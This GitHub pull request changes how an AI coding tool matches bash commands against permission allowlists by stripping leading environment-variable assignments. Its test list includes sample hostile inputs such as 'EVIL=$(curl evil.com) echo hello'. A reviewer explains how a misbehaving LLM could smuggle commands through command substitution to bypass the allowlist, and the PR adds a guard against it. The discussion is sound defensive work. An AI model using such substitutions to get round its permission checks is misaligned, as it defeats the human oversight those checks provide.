Skip to content

fix: strip env variable assignments from bash permission patterns#14108

Open
edevil wants to merge 1 commit intoanomalyco:devfrom
edevil:fix/bash-permission-env-var-prefix
Open

fix: strip env variable assignments from bash permission patterns#14108
edevil wants to merge 1 commit intoanomalyco:devfrom
edevil:fix/bash-permission-env-var-prefix

Conversation

@edevil
Copy link
Copy Markdown
Contributor

@edevil edevil commented Feb 18, 2026

Fixes #14110

Summary

  • Commands prefixed with environment variables (e.g. GOFLAGS=-mod=vendor go test ./...) were not matching permission rules like "go *": "allow" because the full command text — including the variable assignment — was used for pattern matching.
  • Strips leading variable_assignment AST nodes from the command text before adding it to permission patterns, so the actual command name is what gets matched against user-defined rules.
  • Assignments containing command substitutions ($(…) or backticks) are not stripped, preserving the full text so it falls through to the catch-all rule. This prevents smuggling arbitrary execution through env var side effects.

How I verified it works

The bash tool uses tree-sitter to parse commands. commandText (from node.text) included env var assignments, but the command array already skipped them. The fix finds the last leading variable_assignment child and slices commandText from its end position, but only if none of the assignments contain command_substitution descendants.

7 new test cases in test/tool/bash.test.ts:

  • Plain env var (GOFLAGS=-mod=vendor go test ./...) — stripped
  • Env var with redirect (GOFLAGS=-mod=vendor go test ./... 2>&1) — stripped
  • Multiple env vars (FOO=bar BAZ=qux echo hello) — stripped
  • Piped command with env var — stripped from first command
  • always patterns exclude env vars
  • $() substitution in env var (EVIL=$(curl evil.com) echo hello) — NOT stripped
  • Backtick substitution in env var (EVIL=`curl evil.com` echo hello) — NOT stripped

All 22 tests pass.

@github-actions
Copy link
Copy Markdown
Contributor

Thanks for your contribution!

This PR doesn't have a linked issue. All PRs must reference an existing issue.

Please:

  1. Open an issue describing the bug/feature (if one doesn't exist)
  2. Add Fixes #<number> or Closes #<number> to this PR description

See CONTRIBUTING.md for details.

@nickwood
Copy link
Copy Markdown

I believe this change will introduce a considerable security concern. Consider the command:

GOFLAGS=$(malicious command) go test ./...

A misbehaving LLM could therefore run arbitrary commands and circumvent the allowlist

@edevil
Copy link
Copy Markdown
Contributor Author

edevil commented Feb 18, 2026

$(malicious command) go test ./...

What about go test ./... $(malicious command) , how is this different?

@nickwood
Copy link
Copy Markdown

A security conscious user can currently allowlist explicit commands (with no wildcards) to prevent this sort of injection. This change would significantly weaken those safeguards

@edevil edevil force-pushed the fix/bash-permission-env-var-prefix branch 2 times, most recently from 2acf3bf to 79e4331 Compare February 18, 2026 16:13
@edevil
Copy link
Copy Markdown
Contributor Author

edevil commented Feb 18, 2026

A security conscious user can currently allowlist explicit commands (with no wildcards) to prevent this sort of injection. This change would significantly weaken those safeguards

Yes, if you don't use wildcards I can see this being a downgrade. I updated the PR to check for command substitutions.

Commands prefixed with environment variables (e.g. GOFLAGS=-mod=vendor go test)
were not matching permission rules like "go *": "allow" because the full command
text including the variable assignment was used for pattern matching.

Strip leading variable_assignment nodes from the command text before adding it
to the permission patterns, so the actual command name is what gets matched
against user-defined permission rules.

To prevent smuggling arbitrary execution through env var side effects, assignments
containing command substitutions ($(…) or backticks) are not stripped — the full
text is preserved so it falls through to the catch-all rule.
@edevil edevil force-pushed the fix/bash-permission-env-var-prefix branch from be5f07a to 8d44927 Compare March 25, 2026 11:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Bash permission rules don't match commands with env variable prefixes

2 participants